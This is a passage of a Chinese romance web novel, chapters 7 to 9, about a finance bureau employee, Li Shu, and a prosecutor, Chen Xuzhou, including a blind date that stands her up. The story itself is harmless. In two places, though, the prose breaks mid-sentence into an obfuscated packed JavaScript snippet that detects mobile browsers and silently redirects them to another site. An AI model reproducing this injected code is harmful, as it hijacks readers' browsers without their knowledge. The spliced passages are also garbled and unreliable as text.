虽说陈叙州放了水，几次在该连线的时候都特意避开没有继续，但这小朋友思维明显很灵活，局面观也不错，会及时拦截。 她不吝啬地夸了小男孩两句，猜测着陈叙州会不会心软到底时，服务员从店里出来叫号。 男孩家一桌的，他妈妈举手应了“这儿”，喊走了老公儿子，留下一局没有结果的棋面。 陈叙州修长匀瘦的白指间捏着枚红色的帽子棋，他抬眼，“下完？” ？ 让她补位吗？ 黎姝正要推辞说穿了裙子不方便屈身，便见他起身端起塑料方凳放在了座位上，自己站在一旁。 黎姝组织好的话丝滑咽了回去，她改口道：“那你得让着我点啊。” 陈叙州也笑：“小孩我都没让。” 听出拒绝，黎姝吐槽:“绝情！” 他扬眉没反驳，指尖捏着棋帽尖看她落子的位置若有所思:“光下有点无聊，加点彩头？” 黎姝观察着局面，选择采取追堵的方式 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“玩这么大？” 黎姝惊了，兴奋了，斗志盎然，“来！” 于是几分钟后她成功地再一次印证“战场上保持冷静”这句话的重要性。 她——输了！ 好在就餐也轮到了他们的号，美食的香味多少抚慰了几分失落的心。 * 傍晚时分华灯初上，商场里客流量增多，喧嚣从腾腾的热气烟火里散开，城市热闹。 “说好的我请客，你怎么还偷偷把单买了。”收银台前，黎姝不悦地看向身侧的人，“多少钱？我转你微信吧。” 刚才用完餐她去买单，却被前台告知她身边的男士已经买过单了。 陈叙州说不用:“你就当我赢了棋局心情好。” 他接了两颗服务员递过来的薄荷糖，分了一颗给她，“实在过意不去，下次你再请回来也一样。 捕捉到“下次”的关键词，黎姝眉心一动，因为他前一句话而奓毛的心情瞬间多云转晴，愉快地接受了这个提议。 出了火锅店，两人对视一眼默契地选择闲逛走走消消食。 乘扶梯换至三楼下二楼的扶梯。 二楼楼梯口出来有家奶茶店，估计是新店门口两边摆满了花篮，还有许多人挤在门口。 他们甫一下来，穿着印有品牌logo工作服的店员就上来给他们发传单，“您好，我们新店开业全场奶茶买一送一，要不要看一看？” 黎姝扫了眼，也是常点的品牌。 她接过宣传单，望着琳琅满目的价目表侧脸问他：“喝不喝奶茶？我请你。” 怕再发生截胡事件，飞快追补:“我请我付，饭约照旧。” 陈叙州笑笑，没说什么。 黎姝边扫传单上面的小程序二维码，问他想喝什么。 陈叙州:“我不怎么喝奶茶，你推荐一个吧。” 黎姝问:“你喜欢奶茶还是果茶？奶茶的话招牌的桂花落和奶绿都不错，果茶这个这个……” 她点了说到奶茶，再次望向他。 陈叙州点了她说的招牌。 “五分糖加冰可以吗？” “全糖。” “全糖？”见他确认，黎姝小程序下单好提交，生出取餐码，“好了。” 订单挺多的，前面还排了三十来杯。 她收起手机，往周围扫视了圈发现店里全是人，别说连个做的，站的空隙都没有，提议道，“去逛逛？” “走吧。” 陈叙州右手伸进裤兜里。 两人没走太远，沿奶茶店左面往前，在几个精品店里晃了晃，估摸着时间差不多了才回走。 拐过墙角，进入视角区远远便看到奶茶店门口围了一圈，似乎在吵架。 走得近了才看清是一高一胖两男的，听周围吃瓜群众的解释，原来是取奶茶时因为不小心的肢体擦碰吵起来了。高瘦男道歉后微胖的男子还是不依不饶嘴里不停骂着粗话，要不是被旁边的人拉住，准动手了。 黎姝一向不爱凑热闹，尤其这种快打起来的，她拉住陈叙州等人彻底分开了才过去取奶茶。 上下楼扶梯去一楼时，他接了个电话，挂断后望向黎姝:“你什么走？我送你。” 听出他有事，黎姝谢绝他的好意，说:“你有事去忙就是。我就住附近，慢慢走回去就行。” 下梯往商场正门走，见他欲言又止，玩笑说道，“放心，对面就是公安局，不会半路失踪的。” 陈叙州抿唇不再说什么，送她去红绿灯路口。 夜幕降临，华灯璀璨，过往车辆车灯和夜景交相阑珊。 陈叙州侧脸，见她抬手捋了捋刘海，面色清冷，眉眼精致，清瘦的身影和记忆 7. 第 7 章 07 黎姝愣了一愣，惊诧反问：“方馨冉告诉你的？” 陈叙州说不是。 “那你怎么会知道？”黎姝疑惑拧眉。 她改名都是很早之前的事了，除了家人现在连身边的朋友大多数都不晓得，也只有方馨冉在她家听到她妈叫念念好奇问过一嘴。 得到答案，陈叙州神色如常，嘴角轻抿说得淡然：“看你总有几分眼熟，很像我高中认识的一个人。” 捕捉到“高中”这两关键词。黎姝怀疑放回去。 她那会儿还没改名，心想还真有几分可能，于是问道:“同班同学？” “不是。” “不会是校友吧？”她继续猜，注意力不由得被他带走，“你哪个学校的啊？” 陈叙州:“南中。” “那估计是认错了。”黎姝说，“我二中的。” 南中和二中南辕北辙，互不相干，甚至还有点死对头嫌疑，两校的学生怎么凑都做不了邻居。 黎姝语气遗憾，继续走着:“还以为遇到校友了呢。不过也是，你要是我们学校的我不可能没见过。” 就他这颜值身高，高中就算不会打扮逊色了点，但凭那仅有的几分底子，在二中那堆歪瓜裂枣里出彩还不是易如反掌，怎么可能籍籍无名。 陈叙州侧目凝视。 记忆里一眼惊艳的拔萃颜值，褪去少女的稚嫩后更胜一筹。五官越发精致，一瞥一笑皆带着摄魂的风情，尤其一双媚而上挑的狐狸眼。 截然相反的两种性格，都吸引人。 他浅淡地勾勾唇角，只别有深意地轻轻说了一句：“说不定真见过面呢。” 周遭车水马龙，夜色喧嚣，他说得轻，黎姝并没有听到。 * 黎姝到家不久，刚倒了杯水就接到了方馨冉的语音消息。 接通后语音图标在动，却没有听到声音。 她困惑地胡乱检察了下，才想起来之前在外面刷视频时因为没带耳机，开公放的时候特意关掉了全部音量，忘记恢复了。 回忆起后赶紧按回来，终于听到了内容。 “我可听茶茶说了，今天你和陈叙州都去了店里，又一前一后的离开。老实交代，干嘛去了？” 黎姝一边扯下假睫毛一边听语音。听完，她拿起手机放到嘴边，一本正经地扯道:“还用说嘛，当然是去约会了。” 两秒后，语音通话弹出来。 黎姝早有预料，接通通话将手机立在墙上的置物架上，洗手擦干净，舀了两勺卸妆膏在手心搓着:“喂。” “你说真的假的？”方馨冉不敢置信的话音钻到耳边，狐疑道，“我不信。” 黎姝:“不信算了。” 她语气太真，有一种坦然自若的淡然，搞得方馨冉也从怀疑到逐渐相信，之后迟疑说道:“不愧是我姐妹，牛批！” “……” 这下换黎姝沉默了。 “你别告诉我，你真的信了？”她无语几秒，随即哈哈笑着再度开口，“等你老了我一定卖你保健品，真单纯。” “老子是信任你的魅力好不好！”方馨冉没好气地隔空啐她一口以报自己的受骗，然后问她，“那你们两这又约见面又相继消失是什么情况？” “答谢啊。”黎姝解释说，“我妹送我那徽章不是被他捡着了吗。我不得请人吃个饭表示一下啊。” 虽然最后还是他结了账，没给她报答的机会。 而方馨冉听完全部，由衷感慨:“果然，无论什么时候愿意掏钱的男人最帅。” 黎姝表示赞同，提了嘴奶茶店里的吵架的插曲，担忧道:“你说我当时拉着他没让他上去劝架，他会不会觉得我很冷血啊？” 方馨冉说不会的，“他应该没注意到。就算真注意到了，你也是为了他好。” 黎姝一听也是，两人又聊了会儿，挂掉黎姝想起旧名的事多问了一嘴。 方馨冉说没有和别人提过：【谁没事会问这个，怎么了？】 黎姝想想也是，笑说没事。 明天周一还要早起上班，她便随口寻了个借口敷衍过去，丢开手机起身去洗漱。 洗完澡，不知不觉快十二点了。 她拿着手机上床，无聊地胡乱翻了几下朋友圈退出来，好奇的点开陈叙州的微信。 由于没有置顶设置，他的微信早被其他互动过的其他人顶去了下面。 和他的对话还停留在几天前加上好友商讨见面地点和时间。 黎姝望着界面，心痒痒的，手也痒。想戳戳对方又不知道说什么，两根食指都贴在机身边缘，悬空的大拇指敲敲删删，透露着主人的纠结。 跟他说自己到家了？ 她瞥了眼状态栏上显示的时间，默然。 从他们两分开到现在都三四个小时了，别说她就住在附近就是只蜗牛挪也该挪到了。 pass！ 问他在干什么？ 不矜持而且貌似太自来熟了点。 Pass！Pass！ 干脆直接发个消息过来，然后说发错了吧。 黎姝深陷纠结，没留意到指尖触碰到了平时的表情包不小心将它点发了出去，等回神，看着发出去的表情包瞳孔一震，赶紧撤回，祈祷着他还没看见。 然而事与愿违，怕什么来什么。 陈叙州：【？】 陈叙州：【砍之前能否先告诉我理由？】 “……” 他看到了！ 黎姝眼皮一抽，感觉天塌了一半。 原因无他，只因不小心弹出去的表情包过于血腥——小浣熊拖着二十米长的大刀说“俺要砍死你” 【怎么不说话？】 【预料着怎么试试犯罪？】 黎姝:“……” 她深吸了口气，企图蒙混过去，于是在慌不择路中用上了她万分嫌弃的借口，【你到家了吗？】 陈叙州显然也无语，回复中略带毒舌：【如果没有其他意外，从分开到现在足够我来回几趟了】 【恰好我今天挺幸运的，回来时没堵车没爆胎也没遇到提刀砍人的】 句句没有她，字字在拆她台。 黎姝脸颊微红，果断拉方馨冉过来背锅，哈哈：【本来是发给方馨冉，结果没看清不小心发错了】 他也不知信没信，过了几分钟才回。 【你还挺凶】 【动不动就砍人】 黎姝：“……” 好的，另外半边天也塌了。 * 周一总是让人生不起半分动力。黎姝在闹钟锲而不舍的叫醒中挣扎起床，赶地铁上班。 在财政局门口碰到了同样哈气连连的国债科同事林泠。 “早啊，黎姝。” “早。”黎姝走过去，问道，“吃饭了吗？” “今天起晚了，差点连公交都没赶上哪有多余时间吃饭。这不打算去食堂混两口，你呢？” “我也一样。” “看你朋友圈周末过得不错啊。” “还好了，我跟你说……” 两人聊着周末生活一同去单位食堂。 单位是包一日三餐的，虽然财政局包一日三餐，但早上来食堂吃饭的人委实不多。 黎姝要了份蔬菜粥和一笼肉包，林泠也差不多，就是量少一些。 吃到一半时桌上又多了两个同事，其中一个忽然道：“诶，你们昨晚刷到清河凯德的视频没有？” 林泠好奇问：“什么视频？” 另一个同事应该也刷到了，解释道：“就是清河区有辆宝马和大众在马路上开车互撞，车头都撞歪了。” “这么严重？”黎姝问，“什么原因啊？” 同事：“不清楚，评论区 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前段时间集中忙碌，月初反倒没什么事了，写报写报告就过了一上午。 中午她回家休息，也许是早上和同事的聊天被监听到了，大数据将南城警方的通报视频推了过来。 比起早上播放量刚破几万的数据，此时视频的点赞和评论都过十万了，还上了站内热搜。 黎姝翻了会儿评论，随后将视频分享转载给了陈叙州。 黎姝：【快看，是昨天奶茶店的碰到那两人】 * 南城市人民检察院 陈叙州带着随行书记员小杨到一楼办案区提审犯罪嫌疑人。 二号讯问室内，他低首翻阅着公安机关移交上来的案件陈述书，面容沉静，眉心蹙拧。左心口上方佩戴的检徽在白炽灯照射下庄重而威严。 几分钟后门开，戴着手铐的嫌疑人进来自觉坐上讯问椅。 犯罪嫌疑人犯某三十一岁，本科毕业。不仅长期编造话术合伙开公司名头骗取投资超百万，还以置办婚房资金周转困难，缺装修费为由骗取多名女性共计二十万人民币。 是一起常见的诈骗案，由于属地争议移送至市检察院。 陈叙州抬头，按规定告知身份:“我们是南城市检察院的检察官，我是你的办案检察官陈叙州，这是我的证件。”翻开证件面向嫌疑人展示，“现在依法对你进行讯问，希望你能如实回答检察机关提出的问题。” “这是权利义务告知，看一下没什么问题就签个字。” 书记官小杨接到陈检的眼神示意，将告知书送去给嫌疑人过目签名。 由于犯罪嫌疑人的装聋作哑诡辩叫冤，耽误了不少时间，讯问结束时都过了下班点。 六月初，南城已正式踩夏。天高气爽，阳光如萌发的绿叶葳蕤灿烂，照得办公室温热。 陈叙州刚换好衣服，书记员小杨找过来，敲门喊他一同去吃饭。 小杨是年初省考刚上岸的毕业生，个高心善，一个没心眼的零零后“傻白甜”男孩。 不知道从哪儿听到自己分到的是全院最年轻的员额检察官，对陈叙州甚是崇拜。 陈叙州回头觑他一眼说稍等。 他将外套挂进柜子，从里面取出手机边划开翻阅未读讯息边往外走。 小杨在旁叽叽哇哇的很话痨，趁着等电梯的功夫顺便还汇报下午的安排。 陈叙州嗯，低头看手机。 解开静音后手机忽然“嗡嗡”得连振了两声，通知栏闪出简讯通知。 黎姝发的微信。 他眼中划过讶异，走进电梯的同时随手点开视频，垂眸看完，挑了挑眉反问道。 【又发错人了？】 8. 第 8 章 08 财政局到清河站有八个站，正午下班高峰期地铁上人群拥挤，擦肩接踵。 黎姝好不容易才占到个空位，屁股刚挨上座手心就有了动静。 她垂眸待看清回复的内容，瞪眼。 什么叫“又”啊？ 她只说过一次好吗！ 此时此刻她算是深切体会到了古人说一失足成千古恨是种怎样无力辩解的复杂心情了。 她腹诽着，装没瞧透画外音的顺杆子已读乱答。 黎姝：【不是本人？】 黎姝：【那不好意思，确实发错了】后面加了个线条人折叠180度，脑袋贴着双腿鞠躬说“骚瑞”的表情包。 陈叙州瞧着对话框里跳出来的表情包，自然能辩别出她心口不一的糊弄和阴阳，不由笑了笑。 手心再次振动。 黎姝:【你说他们两会判刑吗？】 电梯下行至一楼自动打开，陈叙州走出电梯往外走的同时回复:【判不判刑得看公安那边的调查结果以及定性】 陈叙州:【你考试怎么过的？】 “？” 黎姝茫然一瞬，反应过来他在暗点她法盲，也不生气，混不吝胡扯:“可能是我运气好吧，选的都对，对的都会。” 右边的女生到站离开，黎姝刚准备调整了坐姿坐舒服点，边上就挤过来一位头发花白的老婆婆。坐下后就开始开疆扩土丝毫不顾旁人感受，霸占出个宽敞空间。 她侧瞥了眼路线，见还有两站到站，干脆起身。走到门边，握着扶手杆，自我调侃:【所以你看考完就忘了。】 发出去的瞬间，他的回复也跳出来，几乎是同时。 陈叙州引用她说运气好的那条，说:【运气再好，违法犯罪的事也别沾。天网恢恢疏而不漏，落网只是时间问题。】 黎姝:？ 黎姝觉得莫名，心说她那里给他她要犯罪的错觉，新消息边刷新出来。 【比如持刀行凶】 “……” 这事还能不能过去了！ 黎姝虽然无语却也不会蠢到自动代入给他把柄借题发挥念法条。恰好广播里响起即将到站的提醒，正好借机结束话题：【我到站了，先下车了】 她收起手机顺着人流下车往电梯口走，站上上行扶梯后感受到振动忍不住低头去看。 他回道:【好，注意安全】 顿时，黎姝嘴角情不自禁往上翘了翘，回了个“好”。 与此同时的市检察院，小杨眼尖地瞥到陈检勾起了嘴角，心情很好的样子，不由好奇，询问道：“陈检，什么事这么开心啊？” 陈叙州收起手机气定神闲回答说：“给公民普法。” “哈？” 小杨茫然地挠头。 检察院里最近有什么他不知道的普法宣传任务吗？ * 太阳毒辣，黎姝早上出门没涂防晒，她一路疾速快步至小区，刷卡进单元门，正要放手关门，身后兀得传来一道阻止。 “等一下，先别关门！” 黎姝闻言眼疾手明地拉住快合上的铁门，抬眼望向来人。 居住在隔壁的情侣中那位女生。 她后背上背了个太空宠物包，怀里还抱了袋猫粮和几个快递盒子，估计东西重，路走得缓慢。 看到撑门的是黎姝，意外道：“是你呀，谢谢！” “没事。”等她进来后黎姝松手关门，弯腰捡起她掉落的快递盒，问道，“需要帮你拿点吗？” “啊？可以吗？” 女生惊喜说谢谢，因为手腾不开，她眼神落在猫粮上和肘弯处的方盒子，不太好意思说，“那麻烦你帮我拿上面这两个快递吧，总是掉。” 黎姝伸手取了过来，顺便把另一个袋子也带走，女生感动得连声道谢：“姐姐，你人真好！” 黎姝微笑说小事，按了楼层，视线落在她背着的宠物包上。透过网洞依稀可以看到一只灰白的小猫眯，水蓝色的眼睛正好奇地打量着外面。 凑过去弯身“嘬嘬”得逗弄了两下，问道:“带猫猫去打疫苗了？” 前天去超市买水回来时，在小区电门前刷卡时无意听到他们两在讨论带猫去打疫苗的对话。 女生：“不是疫苗，是去打了一剂感冒针。” 她掂了下滑下去的猫粮，迈进电梯回答说：“上次带它出去玩，可能吓得有点应激了回来就感冒了。喂了药也不好，这两天还总吐。”说着扭头往宠物包里叫了声猫猫的名字，“可怜了我的乖乖。” “好在合约也快到了，到时候就不续期了。换个有大客厅的。” 电梯“叮”得一声到楼。 黎姝跟着出来，闻言诧异：“要搬家了？” “有这个想法。但是找不到合适的房子就不搬了。”她开了门，打量着房子说道，“我在这儿住了三年，真搬了还有些舍不得呢。” “你在这儿住了这么久？”黎姝有些惊讶。 女生说：“对啊，我从毕业就住这儿了。” “那是挺久的。”黎姝颔首附和，也不进去了，站在门口询问她快递放哪里。 “都可以，丢地上也行。” 黎姝扫视了下还是给她把快递盒放在了玄关处的鞋柜上，随后朝正卸包放猫的女生知会了声:“给你放鞋柜上了哈。” 尔后转身回家。 午后阳光明媚，暖阳大喇喇地穿过纱帘照在卧室的床脚上，光晕溶溶。 短暂地睡了个午觉，黎姝精神倍儿好，下午上班都不觉得烦了，如果没有她妈妈打来的那通电话这样的好心情都能维持到晚上。 一接通，还没等她开口苏琴就问她怎么没加卫善微信。 “？” 黎姝放在键盘上的手指微顿，一脸懵然:“谁啊？” “你爸他们医院骨外的那个小伙子，前天你不是还说可以吗？” “哦——他啊。”黎姝恍然。 尽管周五那天她已经凭借仅有的信息挑了个最顺眼的，但很惭愧，现在对方长什么样完全没印象了。 “怎么了呢？”她问。 “你还问怎么了。”苏琴气道，“刚才他和你爸碰到了，人家说你根本没加过他微信，他加了你，你也没通过。” “念念，你怎么回事？你不是跟我说会试着去相处吗？合着又在敷衍我。” 黎姝被妈妈批头盖脸批了一顿，反应过来，顿时无语。 好家伙，竟然还告状，几岁啊！ “我没故意，是真的忘了。”她边安抚着妈妈一边点开新好友的申请页面，在里面翻到了疑似对方的微信号——“ws” 她记得这个号。 早上她正在检查交上来的材料，这个人就加她了。因为之前经常被不认识的人乱加好友骚扰的经历，她的微信添加是开了验证的。 这人没有备注信息，她在对话框询问过，对方也没回，黎姝便也没在意。 没想到他就是自己挑出来的“秀女”。 黎姝将他拉出来加了好友，截图发给妈妈堵住她的念叨，应付了几句挂了电话继续手头未完成的工作。 直到晚上在小区附近面馆吃面才收到对方的消息。 WS：【不好意思，现在才看到】 从下午到现在过了几个小时了，是真没看到还是假没看到黎姝懒得深究。毕竟自己也没放心上，大哥不说二哥。 她客套回道：【理解，医生嘛都比较忙】 WS：【你能理解就好笑/你不知道我们一天有多忙，光是今天就做了三台手术，下午紧急来了病人刚刚才下手术台】 WS:【我还怕你误会呢】 黎姝微笑表情敷衍：【怎么会呢】 WS:【你别不信，我之前相亲那个女的就是我晚回两分钟她就怀疑我是故意吊着她，还得哄。】 WS：【听黎主任说你在财政局上班？那工资应该很高吧？】 黎姝端过旁桌的调料盘刚好在加醋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641175|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看到这条消息手一抖不小心加多了。 “……” 她默默吐了个单音字。 WS：【我们医生工资就不多了，但我马上就可以升主刀了，应该会比你高点】 WS：【到时候咱两的工资加起来应该可以贷款一套好一点的三居室】 黎姝:“……” 他自顾自说了半天，见黎姝也没一句回复也没有，问人呢？ 黎姝怕不回句话他又要告状，再度点了个“微笑”，说：【我在吃饭】 本意是希望对方打住让她好好吃个饭，很显然对方没get到她的潜意思，问题如旧，她都吃完到家了他还在讲。 快十点了，才进入正题定下周三晚上七点在市中心一家西餐厅见一见。 * 周三下午 到点下班后，黎姝拒绝了同事去烤肉的邀请，提前来到约定好的西餐厅。 她跟着服务员选了个靠窗的位子坐下给卫善发消息说她到了。 对面没回复。 侍应生递上菜单询问她需要点什么。 黎姝翻了翻菜单，只点了杯冰饮，解释说：“还有个人，菜待会儿等他到了再点吧。” 侍应生：“好的，您稍等。” 很快，冰饮就送了上来。颜色很清新，从上到下由粉渐变至红橘，像落日坠落海面。西柚的酸涩中和了冰茶的甜腻，再佐以薄荷点缀杯口，口感非常舒适。 黎姝咬着吸管多喝了两口，靠着椅座打量起餐厅来。 餐厅环境清幽，视野开阔。低头就能看到楼下街道上的热闹景象。装修风格和她以往去的西餐厅看似并无什么差别，细看却又不简单，每一处都透露着不经意的格调，挺适合约会的。 此时落日时分，浓烈的夕阳如一幕油画泼满窗边。 黎姝放下果汁录了个视频给方馨冉，安利她可以和钱老板来约会。 方馨冉一见地址，疑惑道：【怎么跑那么远去了？】 黎姝说自己过来相亲，强烈推荐点的饮品，说超级好喝。 方馨冉重点显然不在这里：【你相亲对象呢，我瞅瞅长啥样？】 黎姝：【还没来呢】 方馨冉连发了几个问号：【不是吧，相亲还迟到？这么没品？】 黎姝喝到一口西柚，果肉咬破后酸涩蔓延在舌尖，她微微蹙了下眉，又喝了口中和点涩味，才慢悠悠地将这几天发生的事转述给她，说道：【我还巴不得他不来了呢。这样我正好有借口跟我妈说被伤到了，可以顺势躲几天】 【你不知道加上第一句话就问我工资，还明里暗里跟我讲自己多受欢迎】 【什么玩意！】 两人聊着聊着，不知不觉都超过约定时间半个多小时，餐厅的服务员又一次上来询问可以点单了吗。 黎姝说了句“稍等我一分钟”，拿起手机给“WS”按了一连串的问号。 【请问你是迷路上月球了吗？】 发完锁屏倒扣手机不再看回复，朝还候在旁边的侍应生微笑：“麻烦再给我一份菜单，我现在点。” 侍应生重新递了菜单，热情地推荐了餐厅新推出的活动套餐和比较划算单人餐和一些必点的招牌。 黎姝点了两个招牌甜品，正餐在限时活动和单人餐反复纠结，抉择不下。 她正欲再问问服务员二者差别，耳边忽然飘过来个熟悉的名字。 ——“叙州，看什么呢？” 她心念一动，停下话头循着声源抬首望去，猝不及得对上了一双深色的墨瞳。 名字的主人距离她大概三桌远，站在往餐厅二楼拐的阶梯口，长身玉立，极尽风华。 身侧还有同样出挑的一男一女，两人因为他停驻的步伐而疑惑回身。 他应该是刚下班就过来的，穿着暗色的检察西服，革履，身形轮廓被照进餐厅的余晖勾勒，气质矜冷，出尘清贵。 黎姝缓缓眨了眨眼，心中暗叹—— 呦嚯！ 9. 第 9 章 09 是两天没见的陈叙州。 她抬手挥了挥，扯唇无声打招呼：嗨，好巧！ 陈叙州深邃无波的眼眸轻闪了下，也是没料到会在这里碰见她。他朝着刚说话的男人说：“我过去一趟。” 男人也看到了招手的黎姝，了然询问：“你朋友？” 陈叙州嗯了声，说：“你带嫂子先上去吧，我一会儿上来。” “既然是你的朋友，不如叫过来一起坐吧。” 女子也开口了，带着长嫂的关心，意味深长地开说:“阿州，男人要主动点才会有老婆哦。” 说完远距离朝黎姝微笑致意。 黎姝瞧见了，嘴角笑意扩开，也笑着挥手作回应。 陈叙州看向堂哥:“管一管你老婆。” 堂哥陈叙渊同老婆对视一眼，却是赞同地附和老婆的话：“阿愔说得在理，无论什么事主动才会有开始。” “……” 看着一唱一和的夫妻两，陈叙州懒得再理会，迈开腿信步走向坐在窗边的那抹比晚霞还潋滟的绝色。 他停在桌边:“来吃饭？” 黎姝没料到他会过来打招呼，愣了愣，回说“对。”尔后继续问侍应问建议，在他的介绍下选了个套餐，合上菜单本，说，:“可以了，就这些吧。” 考虑到她单独用餐，侍应贴心询问需不需要安排玩偶陪伴。 黎姝构想了下对面坐只玩偶的画面，好像……挺可爱的。 她思索片刻，问：“都有些什么类型的公仔？可以挑吗？” 侍应说可以安排：“我们餐厅里熊、兔子还有狐狸。” “麻烦给我抱只狐狸，谢谢！” “好的，您请稍等。” 陈叙州在旁听到两人的对话，挑眉，等侍应生离开，问道:“你一个人？” 黎姝端起冰饮一手捏着吸管，没说自己被人鸽了，轻点头嗯，扬起下巴：“对啊，都没人陪可怜死了，你要邀请我一起吃饭吗？” 毕竟是相亲局她还是象征性化了个淡妆。施了粉黛的面颊白皙红润，唇色如蜜，笑盈盈地望着他，梨涡醉人。 陈叙州眸波微漾，平直的薄唇几不可见嚅了嚅，视线从她手指间夹着的吸管上那枚泛着水光的红色唇印上定了半秒，回视上她的眼说可以：“来吗？” “啊？” 黎姝讶异得美眸忽得瞪大，见他不似玩笑的神色，卷翘羽睫眨了眨，摆手道：“别了吧，我就是随口一说。” 如果只是他一个人不用他提，黎姝都能厚着脸皮凑过去。但看刚才那样明显有约，她还不至于这么没眼力见去讨嫌。 瞥见远处侍应生抱着毛绒公仔过来，她放开饮品，喏一声，看向他身后说道：“而且我已经有约了，你要想邀我的话跟它商量，它没意见我就同意。” 陈叙州侧身望过去。 侍应生将半人高的红狐狸公仔放在她对面，问还还有什么需要。 黎姝道谢说不用了。等侍应生下去，一本正经道:“介绍一下，这是我今晚的饭搭子——狐狸先生。” “你这位饭搭子好像张不了口？”陈叙州抬手摸了下某饭搭子的耳朵。 “它比较见生除了我都不爱搭理。”她胡扯，又道，“你朋友都上去了，你也过去吧，让人久等不好。” 陈叙州说没关系，解释道:“是我堂哥和嫂子。真不和我们一起？” 知道是他家人黎姝更不可能去了，再度看向狐狸公仔：“有约了，下次请赶早。” * 餐厅二楼 落座后的秦愔正在和陈叙渊八卦楼下女生的身份。 “她是不是二婶提的同学家那个女儿啊？”她开始懊恼不该把眼镜落在车上的，“虽然没太看清，但身形而言绝对是个美人。” 陈叙渊给斟了杯水放置她手边，给自己也倒了杯，呷口回答她第一个问题：“应该不是。” “怎么说？” “你还记不记得上周二婶跟妈打电话说吃饭那天叙州到一半就走了，后面让他多联系那个女孩据说也充耳不闻。但是你看他刚才那迫不及待的样子有一点勉强的意味吗？” “而且——” 他故意停住，让正听得上头的秦愔心痒痒的，催促道：“而且什么？继续说啊！” 陈叙渊示意她稍安勿躁，“二婶同学家那个女孩是文静乖巧，至于楼下那位……”他别有深意地留白轻呵了声，话语中带了几分幸灾乐祸，“总之，以后有好戏了。” 他在祖父身边长大，从小就跟着他在庭上见惯了形形色色的人，自然看出了楼下女生那张明媚妖艳的脸下藏着的薄情。 看起来人畜无害，实则是只长着利爪的狐狸。 秦愔见他一脸高深莫测样，没好气瞪了一眼，咕哝骂还真是亲哥。 陈叙渊不置可否，依旧气定神闲地喝水。 过了少顷，陈叙州终于上来。 秦愔往他身后扫了眼，没见到期盼的人：“你那位朋友呢？” “她有约了。” 陈叙州挪开椅子，解开腹部的西装扣，在堂哥对面坐下，回答说：“现找了个伙伴。” 秦愔:“现找？” 陈叙州嗯，想到她找的伙伴嘴角就不由勾起，眉角染笑。 夫妻两对视一眼，秦愔明知故问，试探道:“难道她就是你妈介绍的女生？” “不是。” “那是？” 陈叙州眼皮都没撩一下，往后靠着椅子招来侍应，浏览菜单的同时，四两拨千斤地回说:“朋友。” 秦愔：“……” * 也许是来餐厅吃饭的都是携家眷带亲友的，所以孤身一人、对面放只狐狸当伴的黎姝就显得另类。 几乎收获了全场的关注。而她本人对此毫无感觉，顶着一道接一道或好奇或同情等各种乱七八糟的视线坦然自若地吃完了一顿饭。 期间相亲对象始终没出现，倒是来了不少搭讪的男的，都被坐她对面狐狸先生得体的“微笑”给打发了。 天色渐暗，黄昏被暮色小口小口地一寸寸啃食殆尽，惟余一片幽蓝，月牙皎洁。 黎姝愉快地用完餐，去前台结账才发现竟然收到过相亲对象不知几时发的微信。 轻飘飘说记错时间了，却连一句道歉也没有。 【没关系】 黎姝发了个“微笑”表情，善解人意回道：【明天起早点去门诊挂个眼科，千万别耽误了病情】 来到前台同收营员报了桌号，却被告知她那桌已经结过账了。 她以为对方搞错了重新报了一遍，得到的还是一样的答案。 收银员见她迷茫，想起什么似的，说道：“那位先生说他是你的朋友。” 先生？ 朋友？ 黎姝舌尖捻着这两关键词，正纳闷什么情况，忽然福至心灵想到什么，问结账时间。 收营员查了下，给出一个准确，差不多正是陈叙州过来和她打完招呼离开的时间。 黎姝解锁屏幕，找到陈叙州的微信：【又让你破费了/红脸】 他回复得很快。 【吃完了？】 果然是他！ 心中的猜测得到答案，黎姝心定：【刚去结账，店员有人过单了就猜到是你】 陈叙州：【总不能让见生的狐狸先生来吧】 引用的是破费那条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641176|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎姝被他回复逗笑，跟他又聊了几句才结束，而相亲男也回了过来。问她什么意思。 要是平时黎姝都难得回他了，但她现在心情好，大发善心地解释道：【让你眼睛没用就捐了的意思】 【字面意思很难理解？看来你不光眼睛有问题脑子也不太行，顺便把神经科也挂了吧】 怼完毫不留情将他删了。 瞬间感觉空气都清新了不少。 她走出餐厅，下意识想取口红出来补个气色，掏了半天才发现竟然没带。 算了，去楼下重新买一只吧。 她合上打开的气垫收起来，在指示牌上搜到要找的店铺，去二楼找到专柜，买了只口红和粉底液。 春末的暖风裹着初夏的温热，从常年调控好气温的商场出来，夜晚热闹的气息迎面而来。 打了个滴滴回去，到家舒舒服服洗了个澡正打算找个综艺来看，妈妈打电话来询问见面的情况。 平板上的视频会员过期了，黎姝打住她一连串的问题，重新登录进去回说道：“他都没来，我哪儿知道怎么样。” “什么叫没去？你们不是约的今天见面吗？” 黎姝说是啊，边划拉界面挑选综艺边一心二用地跟苏琴讲晚上的事:“可能是人家瞧不上我，被放鸽子了。” “怎么会这样？” 一听女儿在餐厅等了个把小时，苏琴气愤又心疼，“不想去就别答应啊，答应了又不去这不是存心耍人吗？太过分了！” “可不是嘛，所以我骂了他一顿。”黎姝趁机说。 “那是他活该！”苏琴闻言叫好，还牵连他人，“你爸也是个不靠谱的，之前还信誓旦旦跟我保证人品，结果介绍的都什么人。” 